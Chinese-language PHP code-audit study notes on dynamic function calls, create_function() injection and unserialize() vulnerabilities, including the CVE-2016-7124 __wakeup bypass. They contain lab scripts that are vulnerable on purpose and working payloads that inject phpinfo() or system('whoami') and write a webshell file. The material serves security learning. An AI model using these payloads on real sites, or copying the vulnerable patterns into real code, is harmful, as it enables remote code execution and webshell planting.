5

PHP代码审计学习-3

 2 years ago
source link: https://antipassion.github.io/2021/10/25/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

动态函数执行和匿名函数执行

动态函数执行

函数与函数之间的调用,可能会产生漏洞。

测试demo

<?php
function a(){
echo "a";
}

function b(){
echo "b";
}

function c($args1,$args2){
$args1($args2);
}

$action=$_GET['action'];
$cmd=$_GET['cmd'];
c($action,$cmd);
//浏览器获取到的值 b ,现在作为 c() 函数的参数插入到了函数中,并且在函数中作为函数名调用了另外一个函数
?>

image-20211025160512247

利用$action$cmd 动态传递参数,执行命令

匿名函数(Anonymous functions)

也被称之为闭包函数(closures),允许临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值

测试demo

<?php
error_reporting(0);
$sort_by = $_GET['sort_by']; //GET方式传入值
$sorter = 'strnatcasecmp'; //strnatcasecmp 用于 比较字符串大小
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; //return 1*(0/1)
echo 'this is test';
usort($databases, create_function('$a, $b', $sort_function)); //此处创建一个匿名函数 $a $b作为参数传给$sort_function
//// 匿名函数相当于隐式函数大概内内部是如此,我们可以将传参的$sort_by 做一些处理,比如说闭合,使其能拼接执行恶意代码
//function xxx($a,$b){
// return 1*strnatcasecmp($a[""]);}phpinfo();/*,$b['2']);
//}
//echo 'nayon';
?>


匿名函数create_function()在其中创建的函数大概为如下所示

function xxx($a,$b){
return 1*strnatcasecmp($a["1"],$b['2']);
}
echo 'nayon';
?>

利用}闭合匿名函数,继续写上恶意代码,然后再/*注释掉垃圾字符。

由此我们可以拼接出利用payload:

sort_by='"]);}phpinfo();/*

image-20211025163501429

测试demo:

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

$c处未存在过滤,可构造payload:

payload1:3));}phpinfo();/* #/用于注释多出的));以及匿名函数所会生成的}
payload2:3));}phpinfo();{((1 #利用{ 和((将多出的字符闭合

匿名函数中大概这样,进行执行phpinfo

<?php
function niming(){
$a='1';
$b='2';
$c='3';
return (strlen($a)-strlen($b)+strlen(1));}
phpinfo();{
((1));
}

image-20211025164600761

PHP反序列化学习

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保存函数方法

php序列化的函数为serialize 可以将对象中的成员变量转换成字符串。
php反序列化的函数为unserialize 可以将序列化生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行反序列化 就是所谓的php反序列化漏洞

序列化的目的是方便数据的传输与储存。

php应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie缓存等。

常见的序列化格式:

二进制格式
字节数组
json字符串
xml字符串

序列化测试demo

<?php
class test{
public $a='This is A';
protected $b = "This is B";
private $c = "This is C";
public function test1(){
return "this is test1";
}
}
$test=new test();
var_dump(serialize($test));
D:\phpstudy_pro\WWW\phplearn\global.php:11:string 'O:4:"test":3:{s:1:"a";s:9:"This is A";s:4:"�*�b";s:9:"This is B";s:7:"�test�c";s:9:"This is C";}' (length=96)

实际上的序列化字符串

O:4:"test":3:{s:1:"a";s:9:"This is A";s:4:"�*�b";s:9:"This is B";s:7:"�test�c";s:9:"This is C";}

序列化字符串结构

O:对象名的长度:"对象名":对象属性个数:{s[属性的类型,字符串s 整型i....]:属性名的长度:"属性名";s:属性值的长度:"属性值";}

可以看出来,序列化后,共有3个属性在序列化字符串中,函数方法test1未能进行序列化

序列化后的结果是字符串string

test是一个类,new test()代表创建test类的对象

O表示对象,4表示类名共有4个字符长 ,test是类的名称

3是序列化对象中共有三个成员变量。括号內部依序是类型、名称、值,同时变量与变量之间由分号隔开

image-20211025174739757

在这其中,a是public类型变量、s表示字符串、1表示变量名长度,a是变量名。

b是protected类型的变量,它的变量名长度为4,也就是在名字前加上了%00*%00变为了%00*%00b ,所以我们可以得知protected属性的表示方法是在变量名前加上%00*%00

c是private类型的变量,c的变量名前加上类%00类名%00变量名 即%00类%00c表名此是私有变量

虽说在test类中存在test1方法,但php序列化中,并不会保存方法。

<?php
class test{
public $a='This is A';
protected $b = 1;
private $c = "This is C";
public function test1(){
return "this is test1";
}
}
$test=new test();
var_dump($e = serialize($test)); //打印输出序列化字符串

var_dump(unserialize($e)); //反序列化字符串

打印输出:

object(test)#2 (3) {
["a"]=>
string(9) "This is A"
["b":protected]=>
int(1)
["c":"test":private]=>
string(9) "This is C"
}

可以看到,类的成员变量被还原,它们是否公有、私有、保护的类型也得到正确的表示。

在php中所能用到的魔术方法
php类可能会包含魔术方法,魔术方法命名都是以`__`开始,例如 `__construct`,`__destruct`,`__toString`,`__sleep`,`__wakeup`,魔法函数在某些情况下会自动调用
__construct(): 有构造函数的类会在每次创建新对象时先调用此方法。
__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString():一个类被当成字符串时应该如何回应,例如echo $obj打印类时,若存在__toString魔法函数,将会自动调用.
__sleep(): 在一个对象被序列化之前调用
__wakeup():unserialize()会检查是否存在一个_wakeup()方法。如果存在,则会首先调用__wakeup方法,为对象进行处理。
__construct() #当对象被创建时调用
__destruct() #当对象被销毁时调用
__toString() #当对象被当做字符串时使用
__sleep() #在对象被序列化之前调用
__wakeup() #在对象unserialize()之前进行调用
<?php
header("Content-Type:text/html;charset=UTF-8");
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}

//类被实现时,php首先检测类中是否存在__construct方法,存在先执行其魔术方法再实现
echo '<br>new了一个对象,对象被创建,执行__construct</br>';
$test = new Test();

//序列化之前检查类中是否存在__sleep()
echo '<br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest = serialize($test);

//__wakeup()在反序列化之间执行
echo '<br>__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。</br>';
$usTest = unserialize($sTest);


//当对象被当做字符串使用时,__toString方法被触发,执行其中内容
echo '<br>把Test对象当做字符串使用,执行__toString</br>';
$string = 'use Test obj as str '.$test;


//程序执行完毕,对象销毁释放,执行__destruct方法.
echo '<br>程序执行完毕,对象自动销毁,执行__destruct</br>';
?>

image-20211025195535420

PHP反序列化漏洞

攻击者可以操纵unserialize的参数,以构造恶意的序列化字符串,当应用程序将恶意字符串反序列化为对象后,恶意代码得以执行,这就造成了php反序列化漏洞。

demo:

<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = 'wakeup!';
}
function __destruct(){
$fp = fopen("D:\\phpstudy_pro\\WWW\\phplearn\\webshell.php","a");
fputs($fp,$this->target);
fclose($fp);
echo 'destruct complate';
}
}


echo serialize(new A);
$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "webshell.php<br/>";
include(".\webshell.php");
?>

利用echo ,拿到序列化后的恶意字符串,通过test传参进入

O:1:"A":1:{s:6:"target";s:4:"test";}
?test=O:1:"A":1:{s:6:"target";s:4:"test";}

image-20211025201208619

image-20211025201203470

构造序列化字符串时,可以根据要进行序列化操作的类中的成员变量,写一份简易序列化函数,用于调试payload:

<?php 
class A{
protected $target="hello";
}
$test = new A();
echo serialize($test);

运行拿到序列化字符串:

image-20211025210307399

由于成员变量为protected模式,由此可知乱码为:

O:1:"A":1:{s:9:"%00*%00target";s:5:"hello";}

修改成员变量数目,绕过__wakeup()魔法函数,修改变量值长度与内容,添加恶意代码

 O:1:"A":1:{s:9:"%00*%00target";s:26:"<?php system('whoami'); ?>";}

image-20211025210652227

CVE-2016-7124

影响版本:

PHP5 < 5.6.25
PHP7 < 7.0.10

当序列化对象进行反序列化时,如果表示对象属性个数的值大于真实的属性个数时,就会跳过_wakeup()的执行

<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("D:\\phpstudy_pro\\WWW\\phplearn\\webshell.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "webshell.php<br/>";
include(".\webshell.php");
?>

查看此处代码可看出,当我们对类A进行反序列处理时,无论在$test处确立的target值为多少,unserialize()的前一刻都会触发A的__wakeup魔术方法,将序列化字符串中的target值处理为wakeup,最后调用析构函数____destruct()执行内部代码,将target值写入到文件之中,然后在php文件的结尾包含webshell.php之中进行执行。

此处存在一处漏洞点,定义的序列化字符串属性个数大于真实的字符串属性个数时,__wakeup()魔法函数将不会生效:

源:O:1:"A":1:{s:6:"target";s:4:"test";}
改:O:1:"A":3:{s:6:"target";s:18:"<?php phpinfo();?>";}
在序列化字符串中,只修改成员变量的值无效,还需修改其长度为对应长度大小。

image-20211025204112483

若类中成员变量为protected 、 private类型,

<?php
class A{
protected $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("D:\\phpstudy_pro\\WWW\\phplearn\\webshell.php","a");
fputs($fp,$this->target);
fclose($fp);
}
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "webshell.php<br/>";
include(".\webshell.php");
?>

php序列化字符串在相应成员函数处如下所示

protected 类型:在变量名前加上%00*%00
?file=O:1:"A":3:{s:9:"%00*%00target";s:25:"<?php system('whoami');?>";}
private类型:%00类名%00变量名
O:1:"A":3:{s:9:"%00A%00target";s:25:"<?php system('whoami');?>";}

image-20211025205746814


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK